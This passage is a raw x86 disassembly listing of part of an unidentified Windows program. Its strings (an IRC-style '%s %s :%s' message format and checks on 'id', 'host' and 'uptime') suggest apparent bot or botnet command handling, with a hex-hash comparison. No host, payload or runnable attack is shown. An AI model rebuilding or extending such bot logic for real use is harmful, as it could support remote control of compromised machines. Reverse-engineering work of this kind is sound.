mov esi, ecx push edi mov edi, ebp or ecx, 0FFFFFFFFh xor eax, eax repne scasb mov eax, [esi+18h] push 0 not ecx dec ecx push ecx push ebp push eax nop call near ptr 71AB428Ah mov edx, eax mov edi, ebp or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx cmp edx, ecx jnb short loc_41299E mov [esi+16h], al mov [esi+15h], al mov eax, [esi+18h] push eax nop call near ptr 71AB9639h mov ecx, offset word_44AC6E mov dword ptr [esi+18h], 0FFFFFFFFh call sub_401541 pop edi pop esi xor al, al pop ebp retn 4 ; --------------------------------------------------------------------------- loc_41299E: ; CODE XREF: sub_412940+33j pop edi pop esi mov al, 1 pop ebp retn 4 sub_412940 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4129D0 proc near ; CODE XREF: sub_401E24j arg_2000 = dword ptr 2004h arg_2004 = dword ptr 2008h arg_2008 = byte ptr 200Ch mov eax, 2000h call sub_437B30 mov ecx, [esp+arg_2004] lea eax, [esp+arg_2008] push eax push ecx lea edx, [esp+8] push 2000h push edx nop call near ptr 77C3FF8Ah mov ecx, [esp+10h+arg_2000] add esp, 10h lea eax, [esp+0] push eax call sub_40158C add esp, 2000h retn sub_4129D0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412A40 proc near ; CODE XREF: sub_401118j var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_412A40 push eax mov al, [esp+0Ch+arg_0] mov large fs:0, esp sub esp, 30h test al, al push esi mov esi, ecx jz short loc_412A77 xor al, al pop esi mov ecx, [esp+3Ch+var_C] mov large fs:0, ecx add esp, 3Ch retn 10h ; --------------------------------------------------------------------------- loc_412A77: ; CODE XREF: sub_412A40+21j lea ecx, [esp+40h+var_3C] call sub_40142E mov al, [esp+40h+arg_4] mov [esp+40h+var_4], 0 test al, al jz short loc_412A98 mov eax, dword_4490D0 push eax jmp short loc_412A9F ; --------------------------------------------------------------------------- loc_412A98: ; CODE XREF: sub_412A40+4Ej mov ecx, dword_4490D8 push ecx loc_412A9F: ; CODE XREF: sub_412A40+56j lea ecx, [esp+44h+var_3C] call sub_4015E1 push ebx lea ecx, [esp+44h+var_24] call sub_40142E mov edx, [esp+44h+arg_8] mov eax, [esp+44h+arg_C] push edx push eax lea ecx, [esp+4Ch+var_3C] mov byte ptr [esp+4Ch+var_4], 1 call sub_4017EE push eax lea ecx, [esp+50h+var_24] push offset aSSS_1 ; "%s %s :%s\r\n" push ecx call sub_40102D add esp, 14h lea ecx, [esp+44h+var_24] call sub_4014DD push eax mov ecx, esi call sub_40158C lea ecx, [esp+44h+var_24] mov bl, al mov byte ptr [esp+44h+var_4], 0 call sub_401226 lea ecx, [esp+44h+var_3C] mov [esp+44h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+44h+var_C] mov al, bl pop ebx pop esi mov large fs:0, ecx add esp, 3Ch retn 10h sub_412A40 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412B70 proc near ; CODE XREF: sub_401857j arg_2000 = dword ptr 2004h arg_2004 = dword ptr 2008h arg_2008 = dword ptr 200Ch arg_200C = dword ptr 2010h arg_2010 = dword ptr 2014h arg_2014 = byte ptr 2018h mov eax, 2000h call sub_437B30 mov ecx, [esp+arg_2010] lea eax, [esp+arg_2014] push eax push ecx lea edx, [esp+8] push 2000h push edx nop call near ptr 77C3FF8Ah mov eax, [esp+10h+arg_200C] mov edx, [esp+10h+arg_2008] add esp, 10h lea ecx, [esp+0] push eax mov eax, [esp+4+arg_2004] push ecx mov ecx, [esp+8+arg_2000] push edx push eax call sub_401118 add esp, 2000h retn sub_412B70 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412BF0 proc near ; CODE XREF: sub_401D20j push esi mov esi, ecx call sub_401FD7 mov eax, [esi+1Ch] inc eax mov [esi+1Ch], eax pop esi retn sub_412BF0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412C20 proc near ; CODE XREF: sub_401FD7j push esi mov esi, ecx xor al, al mov [esi+16h], al mov [esi+15h], al mov eax, [esi+18h] push eax nop call near ptr 71AB9639h mov ecx, offset word_44AC6E mov dword ptr [esi+18h], 0FFFFFFFFh call sub_401541 pop esi retn sub_412C20 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412C60 proc near ; CODE XREF: sub_40172Bj arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov dl, [ecx] xor ecx, ecx mov [eax], dl mov [eax+4], ecx mov [eax+8], ecx mov [eax+0Ch], ecx retn 4 sub_412C60 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_412C90 proc near ; CODE XREF: sub_401B68j push esi mov esi, ecx mov eax, [esi+8] mov ecx, [esi+4] push eax push ecx mov ecx, esi call sub_401717 mov eax, [esi+4] mov edx, [esi+0Ch] sub edx, eax mov ecx, esi sar edx, 2 push edx push eax call sub_401294 sub_412C90 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax pop esi retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_412CE0 proc near ; CODE XREF: sub_401F1Ej var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_412CE0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push esi push 0 push 6 push 9 push 4Fh push 3 push 9 push 7 push 0Fh lea eax, [esp+48h+var_24] push 0Ch mov esi, ecx push eax call sub_4019C4 add esp, 28h push esi mov ecx, eax mov [esp+2Ch+var_4], 0 call sub_4017EE add esi, 4 push eax push esi mov ecx, offset dword_449128 call sub_40159B sub_412CE0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+24h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch] pop esi mov large fs:0, ecx add esp, 24h retn ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_412D80: ; CODE XREF: ___:loc_40100Aj mov eax, large fs:0 push 0FFFFFFFFh push offset loc_43AC4E push eax mov large fs:0, esp sub esp, 90h add ecx, 4 push ebp push esi mov esi, [esp+0A8h] lea ebp, [esi+7Eh] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_4130A6 push ebx push edi push offset asc_444600 ; " " lea eax, [esp+44h] push 1 push eax mov ecx, esi call sub_4016B8 push offset asc_444600 ; " " lea ecx, [esp+2Ch] push 2 push ecx mov ecx, esi mov dword ptr [esp+0B4h], 0 call sub_4016B8 push offset asc_444600 ; " " lea edx, [esp+14h] push 3 push edx mov ecx, esi mov byte ptr [esp+0B4h], 1 call sub_4016B8 push offset asc_444600 ; " " lea eax, [esp+74h] push 0 push eax mov ecx, esi mov byte ptr [esp+0B4h], 2 call sub_4016B8 mov edi, eax lea ecx, [esp+10h] mov byte ptr [esp+0A8h], 3 call sub_4013E3 lea ecx, [esp+28h] mov ebx, eax call sub_4013E3 lea ecx, [esp+40h] add ebx, eax call sub_4013E3 mov ecx, edi add ebx, eax call sub_4013E3 lea ecx, [esp+70h] lea edi, [ebx+eax+4] mov byte ptr [esp+0A8h], 2 call sub_401226 lea ecx, [esp+58h] push edi push ecx mov ecx, esi call sub_401E47 push offset asc_444600 ; " " lea edx, [esp+8Ch] push 4 push edx mov ecx, esi mov byte ptr [esp+0B4h], 4 call sub_4016B8 lea ecx, [esp+70h] push 1 mov bl, 5 push ecx mov ecx, eax mov [esp+0B0h], bl call sub_401E47 push eax mov ecx, ebp mov byte ptr [esp+0ACh], 6 call sub_40202C lea ecx, [esp+70h] mov [esp+0A8h], bl call sub_401226 mov byte ptr [esp+0A8h], 4 lea ecx, [esp+88h] call sub_401226 lea edx, [esp+58h] mov ecx, esi push edx call sub_40202C push offset asc_444D2C ; "!=" lea ecx, [esp+2Ch] call sub_4012EE test eax, eax jnz short loc_412F05 xor edi, edi loc_412F05: ; CODE XREF: ___:00412F01j push offset asc_444D28 ; "==" lea ecx, [esp+2Ch] call sub_4012EE test eax, eax jnz short loc_412F1C mov edi, 1 loc_412F1C: ; CODE XREF: ___:00412F15j push offset asc_444D24 ; ">" lea ecx, [esp+2Ch] call sub_4012EE test eax, eax jnz short loc_412F33 mov edi, 2 loc_412F33: ; CODE XREF: ___:00412F2Cj push offset asc_444D20 ; "<" lea ecx, [esp+2Ch] call sub_4012EE test eax, eax jnz short loc_412F4A mov edi, 3 loc_412F4A: ; CODE XREF: ___:00412F43j push offset aId ; "id" lea ecx, [esp+44h] call sub_4012EE test eax, eax jnz short loc_412FA4 test edi, edi jnz short loc_412F7A lea ecx, [esp+10h] call sub_4017EE push eax mov ecx, offset word_44956A call sub_4012EE test eax, eax jz short loc_412FA4 jmp short loc_412F97 ; --------------------------------------------------------------------------- loc_412F7A: ; CODE XREF: ___:00412F5Ej cmp edi, 1 jnz short loc_412FA4 lea ecx, [esp+10h] call sub_4017EE push eax mov ecx, offset word_44956A call sub_4012EE test eax, eax jnz short loc_412FA4 loc_412F97: ; CODE XREF: ___:00412F78j push 0 push esi mov ecx, offset byte_449287 call sub_401A41 loc_412FA4: ; CODE XREF: ___:00412F5Aj ; ___:00412F76j ... push offset aHost ; "host" lea ecx, [esp+44h] call sub_4012EE test eax, eax jnz short loc_412FF7 test edi, edi jnz short loc_412FD8 lea ecx, [esp+10h] call sub_4017EE push eax mov ecx, offset byte_4D80AD call sub_4013ED test eax, eax jnz loc_413059 jmp short loc_41304C ; --------------------------------------------------------------------------- loc_412FD8: ; CODE XREF: ___:00412FB8j cmp edi, 1 jnz short loc_413059 lea ecx, [esp+10h] call sub_4017EE push eax mov ecx, offset byte_4D80AD call sub_4013ED test eax, eax jz short loc_413059 jmp short loc_41304C ; --------------------------------------------------------------------------- loc_412FF7: ; CODE XREF: ___:00412FB4j push offset aUptime ; "uptime" lea ecx, [esp+44h] call sub_4012EE test eax, eax jnz short loc_413059 lea ecx, [esp+10h] call sub_4017EE push eax nop call near ptr 77C1BF18h add esp, 4 mov ebx, eax call sub_40165E test edi, edi jnz short loc_41302D cmp eax, ebx jz short loc_413059 jmp short loc_41304C ; --------------------------------------------------------------------------- loc_41302D: ; CODE XREF: ___:00413025j cmp edi, 1 jnz short loc_413038 cmp eax, ebx jnz short loc_413059 jmp short loc_41304C ; --------------------------------------------------------------------------- loc_413038: ; CODE XREF: ___:00413030j cmp edi, 2 jnz short loc_413043 cmp eax, ebx jle short loc_413059 jmp short loc_41304C ; --------------------------------------------------------------------------- loc_413043: ; CODE XREF: ___:0041303Bj cmp edi, 3 jnz short loc_413059 cmp eax, ebx jge short loc_413059 loc_41304C: ; CODE XREF: ___:00412FD6j ; ___:00412FF5j ... push 0 push esi mov ecx, offset byte_449287 call sub_401A41 loc_413059: ; CODE XREF: ___:00412FD0j ; ___:00412FDBj ... lea ecx, [esp+58h] mov byte ptr [esp+0A8h], 2 call sub_401226 lea ecx, [esp+10h] mov byte ptr [esp+0A8h], 1 call sub_401226 lea ecx, [esp+28h] mov byte ptr [esp+0A8h], 0 call sub_401226 lea ecx, [esp+40h] mov dword ptr [esp+0A8h], 0FFFFFFFFh call sub_401226 pop edi mov al, 1 pop ebx jmp short loc_4130A8 ; --------------------------------------------------------------------------- loc_4130A6: ; CODE XREF: ___:00412DB9j mov al, 1 loc_4130A8: ; CODE XREF: ___:004130A4j mov ecx, [esp+98h] pop esi pop ebp mov large fs:0, ecx add esp, 9Ch retn 4 ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 0E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4131B0 proc near ; CODE XREF: sub_40165Ej nop call near ptr 27E0CD2h mov ecx, eax mov eax, 10624DD3h mul ecx mov ecx, edx mov eax, 0C22E4507h shr ecx, 6 imul ecx mov eax, edx add eax, ecx sar eax, 10h mov edx, eax shr edx, 1Fh add eax, edx retn sub_4131B0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4131F0 proc near ; CODE XREF: sub_402018j var_12 = byte ptr -12h var_11 = byte ptr -11h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4131F0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push ebx push esi mov esi, ecx push edi mov [esp+20h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401753 lea ecx, [esi+32h] mov [esp+20h+var_4], 0 call sub_401753 lea edi, [esi+60h] lea eax, [esp+20h+var_12] push eax mov ecx, edi mov byte ptr [esp+24h+var_4], 1 call sub_401F23 sub_4131F0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+0Fh] lea ebx, [esi+6Ch] push ecx mov ecx, ebx mov byte ptr [esp+20h], 2 call sub_401852 ; --------------------------------------------------------------------------- mov ecx, edi mov byte ptr [esp+1Ch], 3 mov dword ptr [esi], offset off_43F044 call sub_401933 mov ecx, ebx call sub_401C76 mov ecx, [esp+14h] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4132C0 proc near ; CODE XREF: sub_401D0Cj ___:00401E29j push esi mov esi, ecx call sub_401CA3 sub_4132C0 endp ; --------------------------------------------------------------------------- test byte ptr [esp+8], 1 jz short loc_4132D8 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_4132D8: ; CODE XREF: ___:004132CDj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4132F0 proc near ; CODE XREF: sub_401CA3j var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4132F0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ebx push esi mov esi, ecx push edi mov [esp+1Ch+var_10], esi mov dword ptr [esi], offset off_43F044 lea edi, [esi+60h] mov [esp+1Ch+var_4], 3 mov ecx, edi call sub_401933 lea ebx, [esi+6Ch] mov ecx, ebx call sub_401C76 mov ecx, ebx mov byte ptr [esp+1Ch+var_4], 2 call sub_4014BF sub_4132F0 endp ; --------------------------------------------------------------------------- mov ecx, edi mov byte ptr [esp+18h], 1 call sub_4011B8 ; --------------------------------------------------------------------------- lea ecx, [esi+32h] mov byte ptr [esp+18h], 0 call sub_401023 lea ecx, [esi+4] mov dword ptr [esp+18h], 0FFFFFFFFh call sub_401023 mov ecx, [esp+10h] pop edi pop esi pop ebx mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4133B0 proc near ; CODE XREF: sub_401A05j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4133B0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push 0 push 14h push 15h push 0Fh push 7 push 0Fh lea eax, [esp+58h+var_3C] push 0Ch mov esi, ecx push eax call sub_4019C4 add esp, 20h push esi mov ecx, eax mov [esp+44h+var_4], 0 call sub_4017EE lea ecx, [esi+32h] push eax push ecx mov ecx, offset dword_449128 call sub_40159B sub_4133B0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 14h push 5 lea edx, [esp+28h] push 13h push edx call sub_4019C4 add esp, 14h push esi mov ecx, eax mov dword ptr [esp+40h], 1 call sub_4017EE add esi, 4 push eax push esi mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+1Ch] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 mov ecx, [esp+34h] pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 5 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4134A0 proc near ; CODE XREF: sub_401CE4j var_14 = dword ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 push 0FFFFFFFFh push offset SEH_4134A0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx lea ecx, [esp+18h+arg_0] mov [esp+18h+var_4], 0 call sub_4017EE test eax, eax jz short loc_413547 lea ecx, [esp+18h+var_14] call sub_402275 add esi, 6Ch lea eax, [esp+18h+var_10] push eax mov ecx, esi call sub_401901 mov ecx, [eax] lea edx, [esp+18h+var_10] mov [esp+18h+var_14], ecx push edx mov ecx, esi call sub_40114A push eax lea ecx, [esp+1Ch+var_14] call sub_401339 test al, al jz short loc_413547 loc_413508: ; CODE XREF: sub_4134A0+A5j lea eax, [esp+18h+arg_0] lea ecx, [esp+18h+var_14] push eax call sub_40135C mov ecx, [eax] add ecx, 19h call sub_401B86 test eax, eax lea ecx, [esp+18h+var_14] jz short loc_41356C call sub_40118B lea ecx, [esp+18h+var_10] push ecx mov ecx, esi call sub_40114A push eax lea ecx, [esp+1Ch+var_14] call sub_401339 test al, al jnz short loc_413508 loc_413547: ; CODE XREF: sub_4134A0+2Ej ; sub_4134A0+66j lea ecx, [esp+18h+arg_0] mov [esp+18h+var_4], 0FFFFFFFFh call sub_401226 xor eax, eax pop esi mov ecx, [esp+14h+var_C] mov large fs:0, ecx add esp, 14h retn 18h ; --------------------------------------------------------------------------- loc_41356C: ; CODE XREF: sub_4134A0+86j call sub_40135C mov esi, [eax] lea ecx, [esp+18h+arg_0] mov [esp+18h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+18h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn 18h sub_4134A0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4135E0 proc near ; CODE XREF: sub_402130j var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 push 0FFFFFFFFh push offset SEH_4135E0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push ebp push esi push edi mov ebx, ecx lea ecx, [esp+28h+arg_0] mov [esp+28h+var_4], 0 call sub_4017EE test eax, eax jz loc_4136B3 lea ecx, [esp+28h+var_18] call sub_401037 lea ebp, [ebx+60h] lea eax, [esp+28h+var_14] push eax mov ecx, ebp call sub_401992 mov ecx, [eax] lea edx, [esp+28h+var_14] mov [esp+28h+var_18], ecx push edx mov ecx, ebp call sub_402257 push eax lea ecx, [esp+2Ch+var_18] call sub_401AEB test al, al jz short loc_4136B3 loc_41364F: ; CODE XREF: sub_4135E0+D1j lea ecx, [esp+28h+var_18] call sub_4011D1 mov edi, [eax] sub esp, 18h lea eax, [esp+40h+arg_0] mov ecx, esp mov [esp+40h+var_10], esp push eax call sub_4014D3 mov ecx, ebx call sub_401CE4 mov esi, eax test esi, esi jz short loc_41367C mov edi, [esi] loc_41367C: ; CODE XREF: sub_4135E0+98j lea ecx, [esp+28h+arg_0] push ecx mov ecx, edi call sub_401B86 test eax, eax jz short loc_4136DB test esi, esi jnz short loc_4136DB lea ecx, [esp+28h+var_18] call sub_4018C5 lea edx, [esp+28h+var_14] mov ecx, ebp push edx call sub_402257 push eax lea ecx, [esp+2Ch+var_18] call sub_401AEB test al, al jnz short loc_41364F loc_4136B3: ; CODE XREF: sub_4135E0+31j ; sub_4135E0+6Dj lea ecx, [esp+28h+arg_0] mov [esp+28h+var_4], 0FFFFFFFFh call sub_401226 xor eax, eax loc_4136C6: ; CODE XREF: sub_4135E0+10Ej mov ecx, [esp+28h+var_C] pop edi pop esi pop ebp mov large fs:0, ecx pop ebx add esp, 18h retn 18h ; --------------------------------------------------------------------------- loc_4136DB: ; CODE XREF: sub_4135E0+AAj ; sub_4135E0+AEj lea ecx, [esp+28h+arg_0] mov [esp+28h+var_4], 0FFFFFFFFh call sub_401226 mov eax, edi jmp short loc_4136C6 sub_4135E0 endp ; --------------------------------------------------------------------------- db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_413740 proc near ; CODE XREF: sub_401F64j var_14 = dword ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_18 = byte ptr 1Ch push 0FFFFFFFFh push offset SEH_413740 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 lea ecx, [esp+14h+arg_0] mov [esp+14h+var_4], 1 call sub_4017EE test eax, eax jz short loc_4137E4 lea ecx, [esp+14h+var_14] call sub_401E38 lea eax, [esp+14h+var_10] lea ecx, [esp+14h+arg_18] push eax call sub_4012E9 mov ecx, [eax] lea edx, [esp+14h+var_10] mov [esp+14h+var_14], ecx push edx lea ecx, [esp+18h+arg_18] call sub_401D9D push eax lea ecx, [esp+18h+var_14] call sub_401D70 test al, al jz short loc_4137E4 loc_4137A6: ; CODE XREF: sub_413740+A2j lea eax, [esp+14h+arg_0] lea ecx, [esp+14h+var_14] push eax call sub_401FC3 mov ecx, [eax] call sub_401B86 test eax, eax jz short loc_413816 lea ecx, [esp+14h+var_14] call sub_4020C2 lea ecx, [esp+14h+var_10] push ecx lea ecx, [esp+18h+arg_18] call sub_401D9D push eax lea ecx, [esp+18h+var_14] call sub_401D70 test al, al jnz short loc_4137A6 loc_4137E4: ; CODE XREF: sub_413740+2Bj ; sub_413740+64j lea ecx, [esp+14h+arg_0] mov byte ptr [esp+14h+var_4], 0 call sub_401226 lea ecx, [esp+14h+arg_18] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401582 ; --------------------------------------------------------------------------- xor eax, eax mov ecx, [esp+14h+var_C] mov large fs:0, ecx add esp, 14h retn 24h ; --------------------------------------------------------------------------- loc_413816: ; CODE XREF: sub_413740+7Dj push esi lea ecx, [esp+18h+var_14] call sub_401FC3 mov esi, [eax] lea ecx, [esp+18h+arg_0] mov byte ptr [esp+18h+var_4], 0 call sub_401226 lea ecx, [esp+18h+arg_18] mov [esp+18h+var_4], 0FFFFFFFFh call sub_401582 sub_413740 endp ; --------------------------------------------------------------------------- mov ecx, [esp+0Ch] mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn 24h ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4138B0 proc near ; CODE XREF: sub_4011DBj var_A4 = byte ptr -0A4h var_8C = byte ptr -8Ch var_74 = byte ptr -74h var_64 = byte ptr -64h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_18 = dword ptr 1Ch push 0FFFFFFFFh push offset SEH_4138B0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 98h push esi xor esi, esi lea ecx, [esp+0A8h+arg_0] mov [esp+0A8h+var_4], esi call sub_4017EE test eax, eax jz loc_4139E3 lea eax, [esp+0A8h+var_64] push eax call sub_401A69 add esp, 4 lea ecx, [esp+0A8h+var_A4] call sub_40142E push offset byte_448F40 lea ecx, [esp+0ACh+var_A4] mov byte ptr [esp+0ACh+var_4], 1 call sub_4015E1 lea ecx, [esp+0A8h+arg_0] call sub_4013E3 push eax lea ecx, [esp+0ACh+arg_0] call sub_4014DD lea ecx, [esp+0ACh+var_64] push eax push ecx call sub_401C26 lea edx, [esp+0B4h+var_64] lea eax, [esp+0B4h+var_74] push edx push eax call sub_402176 add esp, 14h loc_41394B: ; CODE XREF: sub_4138B0+E8j lea ecx, [esp+0A8h+var_8C] call sub_40142E xor ecx, ecx lea edx, [esp+0A8h+var_8C] mov cl, [esp+esi+0A8h+var_74] mov byte ptr [esp+0A8h+var_4], 2 push ecx push offset a2_2x ; "%2.2X" push edx call sub_40102D add esp, 0Ch lea eax, [esp+0A8h+var_8C] lea ecx, [esp+0A8h+var_A4] push eax call sub_4016C7 lea ecx, [esp+0A8h+var_8C] mov byte ptr [esp+0A8h+var_4], 1 call sub_401226 inc esi cmp esi, 10h jl short loc_41394B mov edx, [esp+0A8h+arg_18] lea ecx, [esp+0A8h+var_A4] push ecx lea ecx, [edx+15h] call sub_401B86 test eax, eax mov byte ptr [esp+0A8h+var_4], 0 lea ecx, [esp+0A8h+var_A4] jnz short loc_4139DE call sub_401226 lea ecx, [esp+0A8h+arg_0] mov [esp+0A8h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 jmp short loc_4139FC ; --------------------------------------------------------------------------- loc_4139DE: ; CODE XREF: sub_4138B0+10Cj call sub_401226 loc_4139E3: ; CODE XREF: sub_4138B0+33j lea ecx, [esp+0A8h+arg_0] mov [esp+0A8h+var_4], 0FFFFFFFFh call sub_401226 xor al, al loc_4139FC: ; CODE XREF: sub_4138B0+12Cj mov ecx, [esp+0A8h+var_C] pop esi mov large fs:0, ecx add esp, 0A4h retn 1Ch sub_4138B0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_413A80 proc near ; CODE XREF: sub_40192Ej var_34 = dword ptr -34h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_14 = dword ptr -14h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_18 = byte ptr 1Ch push 0FFFFFFFFh push offset SEH_413A80 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx sub esp, 18h lea eax, [esp+30h+arg_18] mov ecx, esp mov [esp+30h+var_14], esp push eax mov [esp+34h+var_4], 1 call sub_4014D3 mov ecx, esi call sub_402130 test eax, eax jz short loc_413B2E sub esp, 0Ch add eax, 54h mov ecx, esp mov [esp+24h+var_14], esp push eax call sub_401726 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+40h] mov ecx, esp mov [esp+40h+var_14], esp push edx mov [esp+44h+var_8], 2 call sub_4014D3 mov ecx, esi mov [esp+40h+var_8], 1 call sub_401F64 ; --------------------------------------------------------------------------- test eax, eax jz short loc_413B2E lea ecx, [esp+40h+var_24] mov byte ptr [esp+40h+var_2C], 0 call sub_401226 lea ecx, [esp+40h+var_C] mov [esp+40h+var_2C], 0FFFFFFFFh call sub_401226 mov al, 1 mov ecx, [esp+40h+var_34] mov large fs:0, ecx pop esi add esp, 14h retn 30h ; --------------------------------------------------------------------------- loc_413B2E: ; CODE XREF: sub_413A80+3Fj ; sub_413A80+79j lea ecx, [esp+18h+arg_0] mov byte ptr [esp+18h+var_4], 0 call sub_401226 lea ecx, [esp+18h+arg_18] mov [esp+18h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+18h+var_C] xor al, al mov large fs:0, ecx pop esi add esp, 14h retn 30h sub_413A80 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_413BB0: ; CODE XREF: ___:00401393j push 0FFFFFFFFh push offset loc_43AE08 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+18h] push esi mov esi, ecx sub esp, 18h mov ecx, esp mov [esp+1Ch], esp push eax call sub_401870 mov edx, [esp+30h] sub esp, 18h mov ecx, esp mov [esp+4Ch], esp push edx mov dword ptr [esp+44h], 0 call sub_401870 mov ecx, esi mov dword ptr [esp+40h], 0FFFFFFFFh call sub_40192E mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn 8 ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_413C40 proc near ; CODE XREF: sub_401181j var_3C = byte ptr -3Ch var_20 = byte ptr -20h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_4 = byte ptr 8 arg_18 = dword ptr 1Ch arg_1C = dword ptr 20h push 0FFFFFFFFh push offset SEH_413C40 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 34h push ebx push ebp mov ebp, [esp+48h+arg_18] xor ebx, ebx cmp ebp, ebx mov [esp+48h+var_4], ebx jz loc_413D89 lea ecx, [esp+48h+arg_0] call sub_4017EE test eax, eax jz loc_413D89 push esi push edi push offset asc_444C7C ; ":" lea eax, [esp+54h+var_3C] push ebx push eax lea ecx, [esp+5Ch+arg_0] xor esi, esi call sub_4016B8 push offset byte_448F40 mov ecx, eax mov byte ptr [esp+54h+var_4], 1 call sub_4012EE lea ecx, [esp+50h+var_3C] mov edi, eax mov byte ptr [esp+50h+var_4], bl call sub_401226 cmp edi, ebx jz loc_413D63 add ebp, 54h loc_413CC0: ; CODE XREF: sub_413C40+11Dj push 15h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov dword ptr [esp+4Ch+var_3C], eax 